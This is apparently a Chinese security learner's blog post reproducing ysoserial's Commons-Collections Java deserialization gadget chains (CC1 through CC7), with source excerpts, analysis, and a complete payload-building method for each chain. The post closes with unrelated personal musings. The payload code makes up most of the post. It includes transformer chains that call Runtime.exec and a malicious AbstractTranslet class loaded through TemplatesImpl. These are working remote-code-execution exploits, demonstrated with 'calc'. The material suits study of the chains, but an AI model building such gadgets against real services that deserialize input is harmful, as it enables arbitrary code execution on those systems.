添砖 Java 贰(doing) 复现一部分主要是 ysoserial 上的经典链子;
测试文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 public class ClassicChains { public static void main (String[] args) throws Exception { serThenDes(getPayload()); } private static void serThenDes (Object object) throws IOException, ClassNotFoundException { ByteArrayOutputStream bos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (bos); oos.writeObject(object); ObjectInputStream ois = new ObjectInputStream (new ByteArrayInputStream (bos.toByteArray())); ois.readObject(); ois.close(); } private static Object getPayload () throws Exception { return new Object (); } }
CC6
分析 参见添砖 Java 壹 ;
getPayload 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 private static final String CC6_ANY1 = "QST" ; private static final String CC6_ANY2 = "QSTQST" ; private static final String CC6_ANY3 = "QSTQSTQST" ; private static Object getCC6Payload () throws IllegalAccessException, NoSuchFieldException { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{Runtime.class, null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; Transformer[] fakeTransformers = new Transformer []{new ConstantTransformer (CC6_ANY1)}; Transformer transformerChain = new ChainedTransformer (fakeTransformers); Map innerMap = new HashMap <>(); Map outerMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry tiedMapEntry = new TiedMapEntry (outerMap, CC6_ANY2); Map expMap = new HashMap (); expMap.put(tiedMapEntry, CC6_ANY3); outerMap.remove(CC6_ANY2); Field f = ChainedTransformer.class.getDeclaredField("iTransformers" ); f.setAccessible(true ); f.set(transformerChain, transformers); return expMap; }
CC1
分析 首先构造 ChainedTransormer;
1 2 3 4 5 6 Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{Runtime.class, null }), new InvokerTransformer ("exec" , new Class []{String.class}, new String []{"calc" }) };
为什么这里不直接 ConstantTransformer(Runtime)
?因为 Runtime
类不是 Serializable
而 Class
是,故而用了这样一个小 trick;
然后祭出 TransformedMap
,特点是会在 setValue
时调用 transformer
:
1 2 3 4 5 ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); Map map = new HashMap <>(); Map evilMap = TransformedMap.decorate(map,null ,chainedTransformer);
然后找在 readObject
时能调用到 setValue
的类 AnnotationInvocationHandler
;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 private static final String ONE_OF_MEMBERS_NAME = "value" ;private static final String ANY = "QST" ; private void readObject (ObjectInputStream var1) throws IOException, ClassNotFoundException { var1.defaultReadObject(); AnnotationType var2 = null ; try { var2 = AnnotationType.getInstance(this .type); } catch (IllegalArgumentException var9) { throw new InvalidObjectException ("Non-annotation type in annotation serial stream" ); } Map var3 = var2.memberTypes(); Iterator var4 = this .memberValues.entrySet().iterator(); while (var4.hasNext()) { Map.Entry var5 = (Map.Entry)var4.next(); String var6 = (String)var5.getKey(); Class var7 = (Class)var3.get(var6); if (var7 != null ) { Object var8 = var5.getValue(); if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) { var5.setValue((new AnnotationTypeMismatchExceptionProxy (var8.getClass() + "[" + var8 + "]" )).setMember((Method)var2.members().get(var6))); } } } }
触发条件:
AnnotationType.getInstance(this.type)
要求 type
继承 Annotation
类;
memberTypes
要有键名为 memberValues
(也就是传入的 map)的键名的成员,也就是构造时的 type
要有名为 map
键名的一个属性;
找一个有属性的注解即可,比如 Target
有 value
属性;
getPayload 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 private static final String ONE_OF_MEMBERS_NAME = "value" ;private static final String ANY = "QST" ;private static Object getCC1Payload () throws Exception { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); Map map = new HashMap <>(); map.put(ONE_OF_MEMBERS_NAME, ANY); Map evilMap = TransformedMap.decorate(map, null , chainedTransformer); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor con = clazz.getDeclaredConstructor(Class.class, Map.class); con.setAccessible(true ); return con.newInstance(Target.class, evilMap); }
CC3
TempImpl 加载字节码 加载字节码的很多种方式之一;
相关代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 public final class TemplatesImpl implements Templates , Serializable{ static final class TransletClassLoader extends ClassLoader { TransletClassLoader(ClassLoader parent) { super (parent); } Class defineClass (final byte [] b) { return defineClass(null , b, 0 , b.length); } } private void defineTransletClasses () throws TransformerConfigurationException { for (int i = 0 ; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); } } private Translet getTransletInstance () throws TransformerConfigurationException { try { if (_name == null ) return null ; if (_class == null ) defineTransletClasses(); } } public synchronized Transformer newTransformer () throws TransformerConfigurationException { TransformerImpl transformer; transformer = new TransformerImpl (getTransletInstance(), _outputProperties, _indentNumber, _tfactory); } }
实现这个调用就可以加载恶意字节码;
注意加载的类一定是继承了 AbstractTranslet
,有检查,这样:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 public class EvilTransletClass extends AbstractTranslet { @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } static { try { Runtime.getRuntime().exec("calc" ); } catch (IOException e) { throw new RuntimeException (e); } } }
分析 CC3 比较强大的一点功能是可以绕过对 InvokerTransformer
的禁用,转用 InstantiateTransformer
,区别就是 InstantiateTransformer
调用的是类的构造方法;
找到了 TrAXFilter
:
1 2 3 4 5 6 7 8 public TrAXFilter (Templates templates) throws TransformerConfigurationException { _templates = templates; _transformer = (TransformerImpl) templates.newTransformer(); _transformerHandler = new TransformerHandlerImpl (_transformer); _useServicesMechanism = _transformer.useServicesMechnism(); }
调用了 newTransformer()
,前面就用 CC6 的前一半构造即可;
官方的 CC3 用的是 CC1 的前一半,故而受 Java 版本限制,我们用 CC6 的前一半可以绕过这个限制通杀所有 Java 版本( 和 CC6)的特点一样;
这条链子比 CC6 要强一点,因为可以绕过对 InvokerTransformer
可能的禁用;
getPayload 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 private static final String CC3_ANY1 = "QST" ;private static final String CC3_ANY2 = "QSTQST" ;private static final String CC3_ANY3 = "QSTQSTQST" ;private static final int CC3_ANY4 = 1 ;private static Object getCC3Payload () throws Exception { Templates templates = new TemplatesImpl (); setFieldValue(templates, "_bytecodes" , new byte [][]{ClassPool.getDefault().get(EvilTransletClass.class.getName()).toBytecode()}); setFieldValue(templates, "_name" , CC3_ANY1); setFieldValue(templates, "_tfactory" , new TransformerFactoryImpl ()); Transformer[] transformers = new Transformer []{ new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer (new Class []{Templates.class}, new Object []{templates}) }; Transformer[] fakeTransformers = new Transformer []{new ConstantTransformer (CC3_ANY4)}; Transformer transformerChain = new ChainedTransformer (fakeTransformers); Map innerMap = new HashMap <>(); Map outerMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry tiedMapEntry = new TiedMapEntry (outerMap, CC3_ANY2); Map expMap = new HashMap (); expMap.put(tiedMapEntry, CC3_ANY3); outerMap.remove(CC3_ANY2); setFieldValue(transformerChain, "iTransformers" , transformers); return expMap; }
注意 EvilTransletClass
是上面我自己定义的;
CC5
分析 和 CC6 挺像,更朴实无华的调用到 Lazymap#get()
;
注意到 TiedMapEntry#toString()
会调用 this.getValue()
进而调用 Map#get()
;
1 2 3 public String toString () { return this .getKey() + "=" + this .getValue(); }
而 Object#toString()
的调用就比较好找了,注意到 BadAttributeValueExpException#readObject()
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 private void readObject (ObjectInputStream ois) throws IOException, ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val" , null ); if (valObj == null ) { val = null ; } else if (valObj instanceof String) { val= valObj; } else if (System.getSecurityManager() == null || valObj instanceof Long || valObj instanceof Integer || valObj instanceof Float || valObj instanceof Double || valObj instanceof Byte || valObj instanceof Short || valObj instanceof Boolean) { val = valObj.toString(); } else { val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName(); } }
System.getSecurityManager()
默认为 null
,故将序列化流里的对象的 val
设置为指向带 Transformer
的 LazyMap
的 EntryMap
即可;
getPayload 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 private static final String CC5_ANY = "QST" ; private static Object getCC5Payload () throws Exception { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; Transformer chainedTransformer = new ChainedTransformer (transformers); Map lazymap = LazyMap.decorate(new HashMap (), chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazymap, CC5_ANY); BadAttributeValueExpException evilE = new BadAttributeValueExpException (null ); setFieldValue(evilE, "val" , tiedMapEntry); return evilE; }
CC7
分析 还是 Lazymap ,区别是这次调的 AbstractMap#equals()
;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 public boolean equals (Object o) { if (o == this ) return true ; if (!(o instanceof Map)) return false ; Map<?,?> m = (Map<?,?>) o; if (m.size() != size()) return false ; try { Iterator<Entry<K,V>> i = entrySet().iterator(); while (i.hasNext()) { Entry<K,V> e = i.next(); K key = e.getKey(); V value = e.getValue(); if (value == null ) { if (!(m.get(key)==null && m.containsKey(key))) return false ; } else { if (!value.equals(m.get(key))) return false ; } } } catch (ClassCastException unused) { return false ; } catch (NullPointerException unused) { return false ; } return true ; }
想进到 m.map()
两条约束:
o instanceof Map
,必须的;
m.size() == size()
,需要控制一下;
再找哪里调了这个 equals
,Hashtable#readObject()
调用 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 private void readObject (java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { for (; elements > 0 ; elements--) { @SuppressWarnings("unchecked") K key = (K)s.readObject(); @SuppressWarnings("unchecked") V value = (V)s.readObject(); reconstitutionPut(table, key, value); } } private void reconstitutionPut (Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException { if (value == null ) { throw new java .io.StreamCorruptedException(); } int hash = key.hashCode(); int index = (hash & 0x7FFFFFFF ) % tab.length; for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) { if ((e.hash == hash) && e.key.equals(key)) { throw new java .io.StreamCorruptedException(); } } @SuppressWarnings("unchecked") Entry<K,V> e = (Entry<K,V>)tab[index]; tab[index] = new Entry <>(hash, key, value, e); count++; }
想走到 e.key.equals(key)
要求 e.hash == key.hashCode()
,与运算前面为 false
后面就不会判断了,如何构造使前面相等?
要懂一点哈希表,看这个结构,e.hash
是上一个存进去的到这个 index
的 Entry.hash
,也就是两个 key
的 Object.hashcode()
要相等,其中一个 key
是我们要调 AbstractMap#equals()
的 Hashmap
,故先构造一下;
AbstractMap#hashCode()
的逻辑是这样的:
1 2 3 4 5 6 7 public int hashCode () { int h = 0 ; Iterator<Entry<K,V>> i = entrySet().iterator(); while (i.hasNext()) h += i.next().hashCode(); return h; }
把每个 Entry
的 hashCode()
相加得到这个 Map
的 hashCode()
,再看 Entry#hashCode()
怎么写;
1 2 3 4 5 6 7 static class Node <K,V> implements Map .Entry<K,V> { public final int hashCode () { return Objects.hashCode(key) ^ Objects.hashCode(value); } }
因此 LazyMap#hashCode()
最后只与 HashMap
中每个键值对的 hashCode()
有关,而 Node#hashCode()
只把 key
和 value
的值简单异或了,故而撞 key
很容易实现,选用 "00"
和 ".n"
即可;
有个问题,这里构造会多调用一次 LazyMap#get()
导致 keyOuterMap
多出一个和 keySameHashMap.key
相同 key
的键值对,value.class
是 ProcessImpl
无法反序列化,因此要手动移除掉这个键;
getPayload 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 private static final String CC7_SAME_HASH1 = "00" ;private static final String CC7_SAME_HASH2 = ".n" ;private static final String CC7_ANY_VALUE = "QST" ;private static Object getCC7Payload () throws Exception { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; Transformer chainedTransformer = new ChainedTransformer (new Transformer []{new ConstantTransformer (1 )}); Hashtable evilH = new Hashtable <>(); Map keyInnerMap = new HashMap <>(); Map keyOuterMap = LazyMap.decorate(keyInnerMap, chainedTransformer); keyInnerMap.put(CC7_SAME_HASH1, CC7_ANY_VALUE); Map keySameHashMap = new HashMap <>(); keySameHashMap.put(CC7_SAME_HASH2, CC7_ANY_VALUE); evilH.put(keySameHashMap, CC7_ANY_VALUE); evilH.put(keyOuterMap, CC7_ANY_VALUE); keyInnerMap.remove(CC7_SAME_HASH2); setFieldValue(chainedTransformer, "iTransformers" , transformers); return evilH; }
CC2 CommonsCollections4.x 在 CommonsCollections4.0
中,所有的 CC 链依然可用,只是 LazyMap#decorate()
更名为 LazyMap#lazyMap()
;
高版本就修了,4.0 还有两个链子:CC2 和 CC4;
感觉 4.0 是“ bug 越修越多”的典范,当然话不能这么说,库开发者很牛逼,修 bug 顺手的事儿,security reserachers 才是蛀虫罢;
分析 这次不用 Map
了,改用 Comparator
,有 TransformingComparator#compare()
能启动 transformer
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public class TransformingComparator <I, O> implements Comparator <I>, Serializable { private final Comparator<O> decorated; private final Transformer<? super I, ? extends O > transformer; public TransformingComparator (Transformer<? super I, ? extends O> transformer) { this (transformer, ComparatorUtils.NATURAL_COMPARATOR); } public TransformingComparator (Transformer<? super I, ? extends O> transformer, Comparator<O> decorated) { this .decorated = decorated; this .transformer = transformer; } public int compare (I obj1, I obj2) { O value1 = this .transformer.transform(obj1); O value2 = this .transformer.transform(obj2); return this .decorated.compare(value1, value2); } }
找一条反序列化能走到 Comparator#compare()
的链子;
入口为 PriorityQueue
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); s.readInt(); SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size); queue = new Object [size]; for (int i = 0 ; i < size; i++) queue[i] = s.readObject(); heapify(); } private void heapify () { for (int i = (size >>> 1 ) - 1 ; i >= 0 ; i--) siftDown(i, (E) queue[i]); } private void siftDown (int k, E x) { if (comparator != null ) siftDownUsingComparator(k, x); else siftDownComparable(k, x); } private void siftDownUsingComparator (int k, E x) { int half = size >>> 1 ; while (k < half) { int child = (k << 1 ) + 1 ; Object c = queue[child]; int right = child + 1 ; if (right < size && comparator.compare((E) c, (E) queue[right]) > 0 ) c = queue[child = right]; if (comparator.compare(x, (E) c) <= 0 ) break ; queue[k] = c; k = child; } queue[k] = x; }
heapify()
要求 size >= 2
,且 queue[]
要有对应的元素;
siftDownUsingComparator()
要求 k < half
,即 size / 2 - 1 < size / 2
,白给;
注意一点,之所以 CC2 和后面的 CC4 要求 commons-collections4.0,是因为 4.0 之前的版本 TransformingComparator
类未实现 Serializable
接口;
getPayload 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 private static final int CC2_QUEUE_SIZE = 2 ;private static final String[] CC2_ANY_QUEUE = {"QST" , "WWJ" };@SuppressWarnings({"rawtypes", "unchecked"}) public static Object getCC2Payload () throws Exception { Transformer[] transformers = { new ConstantTransformer <Object, Object>(Runtime.class), new InvokerTransformer <>("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer <>("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer <>("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); TransformingComparator transformingComparator = new TransformingComparator (chainedTransformer); PriorityQueue<Object> evilQ = new PriorityQueue <>(); ClassicChains.setFieldValue(evilQ, "size" , CC2_QUEUE_SIZE); ClassicChains.setFieldValue(evilQ, "queue" , CC2_ANY_QUEUE); ClassicChains.setFieldValue(evilQ, "comparator" , transformingComparator); return evilQ; }
会执行两次命令,因为 compare
两边一边调用一次 transform
;
CC4
分析 纯烂活,后半段是 CC3 绕过 InvokerTransformer
的原理,前半段是 CC2 通过 PriorityQueue
包装拉起 TransformingComparator
回调的原理;
getPayload 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 private static final String CC4_ANY = "QST" ;private static final int CC4_QUEUE_SIZE = 2 ;private static final String[] CC4_ANY_QUEUE = {"QST" , "WWJ" };public static Object getCC4Payload () throws Exception{ Templates templates = new TemplatesImpl (); setFieldValue(templates, "_bytecodes" , new byte [][]{ClassPool.getDefault().get(EvilTranslateClass.class.getName()).toBytecode()}); setFieldValue(templates, "_name" , CC4_ANY); setFieldValue(templates, "_tfactory" , new TransformerFactoryImpl ()); Transformer[] transformers = { new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer (new Class []{Templates.class},new Object []{templates}) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); TransformingComparator transformingComparator = new TransformingComparator (chainedTransformer); PriorityQueue<Object> evilQ = new PriorityQueue <>(); setFieldValue(evilQ, "size" , CC4_QUEUE_SIZE); setFieldValue(evilQ, "queue" , CC4_ANY_QUEUE); setFieldValue(evilQ, "comparator" , transformingComparator); return evilQ; }
这个只执行一次,因为 compare
调用一次 transform
之后会抛出错误,不细究了;
标准的 CC 链子就这些;
CB1 todo
todo
JDK7u21 todo
todo
URLDNS todo
todo
Groovy todo
todo
Spring1 todo
todo
Spring2 todo
todo
JSON1 todo
todo
悬 我承认我第一次看到“不会表达爱”这个句子的时候笑喷了,那是不会表达爱么,那是不爱;
我悬在空中,哭我自己现在以及将来的幸福;
我还是没有学会享受当下,以上;
疼 我求你们,求求你们,不要非常淡然的给自己青春插一片坟墓,然后变成一个什么都无所谓的人,至少把那坟墓藏起来,藏起来,看到这种东西我的心像要被挤碎了一样,真的,真真的……
我是很恋旧的人啊,虽然你们和我没有关系,但是不要伤害它……
算了也无所谓;
点名批评某 zk。